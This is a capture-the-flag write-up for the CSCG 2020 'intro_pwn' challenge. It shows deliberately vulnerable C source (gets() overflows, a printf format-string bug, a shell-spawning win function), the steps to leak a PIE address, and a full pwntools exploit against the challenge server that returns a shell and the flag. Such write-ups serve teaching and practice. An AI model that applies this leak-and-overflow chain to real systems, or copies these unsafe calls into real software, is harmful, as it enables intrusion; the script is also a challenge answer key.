intro_pwn.zip is given.
First we take a look at the source code.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
// pwn1: gcc pwn1.c -o pwn1 -fno-stack-protector
// --------------------------------------------------- SETUP
void ignore_me_init_buffering() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void kill_on_timeout(int sig) {
if (sig == SIGALRM) {
printf("[!] Anti DoS Signal. Patch me out for testing.");
_exit(0);
}
}
void ignore_me_init_signal() {
signal(SIGALRM, kill_on_timeout);
alarm(60);
}
// --------------------------------------------------- MENU
void WINgardium_leviosa() {
printf("┌───────────────────────┐\n");
printf("│ You are a Slytherin.. │\n");
printf("└───────────────────────┘\n");
system("/bin/sh");
}
void welcome() {
char read_buf[0xff];
printf("Enter your witch name:\n");
gets(read_buf);
printf("┌───────────────────────┐\n");
printf("│ You are a Hufflepuff! │\n");
printf("└───────────────────────┘\n");
printf(read_buf);
}
void AAAAAAAA() {
char read_buf[0xff];
printf(" enter your magic spell:\n");
gets(read_buf);
if(strcmp(read_buf, "Expelliarmus") == 0) {
printf("~ Protego!\n");
} else {
printf("-10 Points for Hufflepuff!\n");
_exit(0);
}
}
// --------------------------------------------------- MAIN
void main(int argc, char* argv[]) {
ignore_me_init_buffering();
ignore_me_init_signal();
welcome();
AAAAAAAA();
}
WINgardium_leviosa
is a win function, which gives us a shell. We can find two buffer overflows in welcome
and AAAAAAAA
because gets is used to read input into a buffer. If we look up the man page for gets we can find the following bugs section.
BUGS
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.
Furthermore, there is a "format string vulnerability", because untrusted user input is passed to the format spring parameter. Here, we can also find the bug in the man pages.
BUGS
Code such as printf(foo); often indicates a bug, since foo may contain a % character. If foo comes from untrusted user input, it may contain %n, causing the printf() call to write to memory and creating a security hole.
So let us take a look at the binary. First, we check the binary with checksec.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We will use a buffer overflow to overwrite the return pointer with the win function. Because we have PIE enabled, we do not know the actual address of the win function. We will leak a binary address using the format string vulnerability and then calculate the address of the win function.
Providing %p
to the name input, we can leak addresses of the stack because the input is passed to the printf
function. To get an address in the binary we just leak multiple pointers, until we get one in the binary. To check where the binary is located we use vmmap
.
Start End Offset Perm Path
0x0000565168108000 0x0000565168109000 0x0000000000000000 r-x /home/simon/git/CTF/CSCG_2020/pwn/pwn1/pwn1
0x0000565168309000 0x000056516830a000 0x0000000000001000 r-- /home/simon/git/CTF/CSCG_2020/pwn/pwn1/pwn1
0x000056516830a000 0x000056516830b000 0x0000000000002000 rw- /home/simon/git/CTF/CSCG_2020/pwn/pwn1/pwn1
0x00007feac337f000 0x00007feac33a4000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/libc-2.30.so
0x00007feac33a4000 0x00007feac351c000 0x0000000000025000 r-x /lib/x86_64-linux-gnu/libc-2.30.so
0x00007feac351c000 0x00007feac3566000 0x000000000019d000 r-- /lib/x86_64-linux-gnu/libc-2.30.so
0x00007feac3566000 0x00007feac3569000 0x00000000001e6000 r-- /lib/x86_64-linux-gnu/libc-2.30.so
0x00007feac3569000 0x00007feac356c000 0x00000000001e9000 rw- /lib/x86_64-linux-gnu/libc-2.30.so
0x00007feac356c000 0x00007feac3572000 0x0000000000000000 rw-
0x00007feac35aa000 0x00007feac35ab000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/ld-2.30.so
0x00007feac35ab000 0x00007feac35cd000 0x0000000000001000 r-x /lib/x86_64-linux-gnu/ld-2.30.so
0x00007feac35cd000 0x00007feac35d5000 0x0000000000023000 r-- /lib/x86_64-linux-gnu/ld-2.30.so
0x00007feac35d6000 0x00007feac35d7000 0x000000000002b000 r-- /lib/x86_64-linux-gnu/ld-2.30.so
0x00007feac35d7000 0x00007feac35d8000 0x000000000002c000 rw- /lib/x86_64-linux-gnu/ld-2.30.so
0x00007feac35d8000 0x00007feac35d9000 0x0000000000000000 rw-
0x00007ffedfaaa000 0x00007ffedfacc000 0x0000000000000000 rw- [stack]
0x00007ffedfb48000 0x00007ffedfb4b000 0x0000000000000000 r-- [vvar]
0x00007ffedfb4b000 0x00007ffedfb4c000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
This time the binary is between 0x0000565168108000 and 0x000056516830b000. After playing around with some input, you can find that you will get a binary address with the python input '%p.'*37
at the last leak.
0x7feac356a723.(nil).0x7feac3490317.0x4c.(nil).0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x2e70252e70252e.0x7feac35d79e8.0x7ffedfb4b1b8.0x7feac3534ec3.0x6562b026.0x1958ac0.0x7ffedfac93c4.(nil).0x7ffedfac9490.0x7ffedfac9530.0x7ffedfac9480.(nil).0x7feac35d8758.0x1.0x7ffe00000000.(nil).0xb5b121e442fad00.(nil).0x5651681089e9.
The leak address points to ignore_me_init_signal+31
. With objdump --syms pwn1
we can find out the offset of the leak. If we subtract this from the leaked value, we get the base address.
pwn1: Dateiformat elf64-x86-64
SYMBOL TABLE:
0000000000000238 l d .interp 0000000000000000 .interp
0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag
0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id
[...]
0000000000000bb0 g O .rodata 0000000000000004 _IO_stdin_used
0000000000000000 F *UND* 0000000000000000 gets@@GLIBC_2.2.5
00000000000009ec g F .text 0000000000000037 WINgardium_leviosa
0000000000000b30 g F .text 0000000000000065 __libc_csu_init
0000000000202050 g .bss 0000000000000000 _end
0000000000000830 g F .text 000000000000002b _start
0000000000202010 g .bss 0000000000000000 __bss_start
0000000000000af4 g F .text 000000000000003a main
0000000000000000 F *UND* 0000000000000000 setvbuf@@GLIBC_2.2.5
00000000000009ca g F .text 0000000000000022 ignore_me_init_signal
0000000000202010 g O .data 0000000000000000 .hidden __TMC_END__
0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5
0000000000000768 g F .init 0000000000000000 _init
0000000000202040 g O .bss 0000000000000008 stderr@@GLIBC_2.2.5
The function ignore_me_init_signal
is at 0x9ca, so our leak ignore_me_init_signal+31
is at offset 0x9ca +31 = 0x9e9.
The buffer size is 256 bytes, so to overwrite the return address we will need 256 + 8 bytes padding. If we look at the code again, we see, that we have to start our input with Expelliarmus\x00
in order to avoid the exit
function. This already fills the buffer, so these bytes have to be subtracted. If we use the calculated padding we are now able to overwrite the return address. We can use pwntools to calculate the address of the win function. Therefore, we have to set the base address of the win function as calculated above. Pwntools can find the address of the win function WINgardium_leviosa
. We could also calculate the offset using the objdump output above, but we will use pwntools here. To align the stack, a ret
instruction has to be inserted before the win function call. The gadgets for the chain can be found using pwntools or manually using ROPgadget.
#!/usr/bin/python3
from pwn import *
context.arch = 'amd64'
context.bits = 64
chal = './pwn1'
p = remote('hax1.allesctf.net',9100)
e = ELF(chal)
# leak binary with name
p.sendlineafter('Enter your witch name:\n', '%p.'*37)
leak = p.recvuntil('enter your magic spell:\n').split(b'.')[-2]
log.info('leaked: %s' % leak)
# calculate binary address
binary_base = int(leak, 16) - 0x9e9
log.info('binary base: %s' % hex(binary_base))
# update binary address
e.address = binary_base
# build rop chain
rop = ROP(e)
rop.raw(rop.find_gadget(['ret'])) # align stack
rop.raw(p64(e.symbols['WINgardium_leviosa']))
log.info(rop.dump())
exp = b'Expelliarmus\x00'
p.sendline(exp + b'A'*(256-len(exp)) + b'deadbeef' + rop.chain())
p.interactive()
This gives us a shell and the flag CSCG{NOW_PRACTICE_MORE}
.
The writeup for part 2 can be found here.